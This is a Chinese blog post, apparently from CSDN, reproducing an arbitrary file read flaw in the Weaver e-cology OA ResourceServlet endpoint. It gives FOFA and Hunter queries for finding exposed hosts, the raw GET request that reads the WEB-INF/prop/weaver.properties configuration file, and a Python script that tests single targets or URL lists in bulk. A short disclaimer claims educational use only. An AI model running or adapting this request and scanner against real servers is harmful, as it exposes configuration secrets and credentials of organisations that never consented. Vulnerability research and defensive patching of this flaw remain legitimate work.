首页 > 其他分享 >【漏洞复现】泛微e-cology——resourceservlet——任意文件读取

【漏洞复现】泛微e-cology——resourceservlet——任意文件读取

时间:2024-07-09 14:26:19浏览次数:20  
标签:读取 漏洞 url args URL cology resourceservlet weaver 泛微

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

泛微e-cology是一款由泛微网络科技开发的协同管理平台,支持人力资源、财务、行政等多功能管理和移动办公解决方案。其resourceservlet接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集
fofa:app="泛微-OA(e-cology)"
hunter:app.name="泛微 e-Cology协同商务系统"
在这里插入图片描述
隔着人潮呼救像只困兽,呼吸颤抖去泪流,去相拥。
在这里插入图片描述
2)构造数据包

GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1
Host:ip

代码解释:

org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties

这个payload是一个Web应用程序中的URL请求路径,它用于访问Spring框架中的ResourceServlet来获取资源。下面是对这个payload的分析:

  1. org.springframework.web.servlet.ResourceServlet:这是Spring框架中的一个Servlet类,ResourceServlet用于处理静态资源的请求。

  2. ?resource=/WEB-INF/prop/weaver.properties:这是一个查询参数,指定了要请求的资源路径。在这个例子中,它指向了/WEB-INF/prop/weaver.properties路径。

    • /WEB-INF/:这是Java EE规范中定义的一个目录,用于存放Web应用程序的类、配置文件等资源,通常不对客户端直接暴露。
    • /prop/:这是一个自定义的目录,用于存放属性文件或配置文件。
    • weaver.properties:这是一个属性文件,可能包含了应用程序的配置信息。

如果这个payload能够被执行,它可能暴露了应用程序的敏感配置信息,因为/WEB-INF/目录通常不应该对客户端可见。

在这里插入图片描述
回显包含配置信息,存在任意文件读取漏洞。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色
RED = '\033[91m'
RESET = '\033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在泛微OA E-Cology资源读取漏洞。
    
    :param url: 要检查的URL
    """
    try:
        # 构造攻击URL,尝试读取敏感文件
        attack_url = url.rstrip('/') + "/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties"
  
        # 发送GET请求并忽略证书验证
        response = requests.get(attack_url, verify=False, timeout=10)
  
        # 检查响应状态码和内容,确认漏洞存在
        if response.status_code == 200 and 'ecology' in response.text:
            print(f"{RED}URL [{url}] 泛微OA E-Cology resourceservlet 文件读取漏洞。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 请求异常处理
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检查函数。
    """
    parser = argparse.ArgumentParser(description='检查目标URL是否存在泛微OA E-Cology resourceservlet 文件读取漏洞。')
    parser.add_argument('-u', '--url', help='指定目标URL')
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    args = parser.parse_args()

    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        check_vulnerability(args.url)
    elif args.file:
        # 处理文件参数,读取文件中的每个URL并检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 确保URL以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


滚滚长江东逝水,浪花淘尽英雄。

标签:读取,漏洞,url,args,URL,cology,resourceservlet,weaver,泛微
From: https://blog.csdn.net/LongL_GuYu/article/details/140205868

相关文章

  • 泛微E8抄送批量提交语句从代办到已办
    抄送批量提交语句从待办到已办-脚本说明:--修改workflow_currentoperator表中的数据,即可实现从待办到已办--isremark=2表示已操作--islasttimes=1表示这条数据是这个人对这个请求最后一次的流转操作--userid:流程在谁的待办中,需要改到已办中,这里就填写谁的userid,......
  • 【泛微系统】解决启动非标功能时提示客户ID不一致的问题
    解决启动非标时提示CID不一致的问题泛微OA系统是一个非常丰富的系统,我们在日常工作中会经常遇到很多业务需求,我们会用到很多功能来承载这些需求的实现;OA系统里有标准功能,也有非标准的功能;对于非标准的功能需要打非标补丁包;有些同学在个人学习系统的过程中会安装本地O......
  • 全网最强泛微漏洞综合利用工具
    请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!01前言在攻防演练中,泛微一直是红队攻击的重点目标之一,红队通常需要快速......
  • 【漏洞情报】泛微 E-Cology KtreeUploadAction 文件上传漏洞
    声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!01漏洞描述泛微OAE-CologyKtreeUploadAction存在文件上传漏洞......
  • 【泛微系统】日常工作中经常会用到的快捷地址
    泛微系统相关的快捷地址汇总前言:接触泛微OA有好多年了,期间总结了日常工作中会遇到的一些快捷地址,对工作帮助很大:有开发相关的,运维相关的很多。相信有了这些软工具能够让你的工作更加顺心如意。近期持续更新中。。。。。。。。。近期持续更新中。。。。。。。。。近期持......
  • 泛微E8选择框元素显示隐藏
    <!--script代码,如果需要引用js文件,请使用与HTML中相同的方式。--><scripttype="text/javascript">jQuery(document).ready(function(){$("#field11105").bindPropertyChange(function(){varval=jQuery("#field11105......
  • 泛微e9阿里云linux服务器部署迁移总结
    1.基础部分,linux基础命令打开指定目录:cd[目录名称]创建目录:mkdir[目录名称]查看目录大小:du-sh[目录名称]启动停止服务:进入目录:cd/weaver/resin4/bin/启动服务:./startresin.sh停止服务:./stopresin.sh编辑文件vim【文件......
  • (附nuclei yaml文件)泛微E-office 10 atuh-filephar反序列化命令执行漏洞复现(QVD-2024-1
    (附nucleiyaml文件)泛微E-office10atuh-filephar反序列化命令执行漏洞复现(QVD-2024-11354)声明本文仅用于技术交流,请勿用于非法用途由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。1、漏洞简介泛......
  • [泛微OA]明细表1的字段赋值给明细表2的字段js实现方法
    文章目录概要整体架构流程技术名词解释技术细节小结概要明细表1的编码字段值自动赋值给明细表2的编码字段.整体操作触发过程保存或者提交后自动触发.技术名词解释添加明细时默认复制最后一行记录setDetailAddUseCopy:function(detailMark,needCopy)参数参数类......
  • [泛微OA]流程提交弹出需再次确认提醒框js实现方法
    文章目录概要整体流程技术名词解释技术细节小结概要有的重要业务流程提交需要再次点击确认的业务场景需要这种方法整体流程js实现提交时候弹出弹出框进行再次确认按钮技术名词解释showConfirm:function(content,okEvent,cancelEvent,otherInfo={}) ......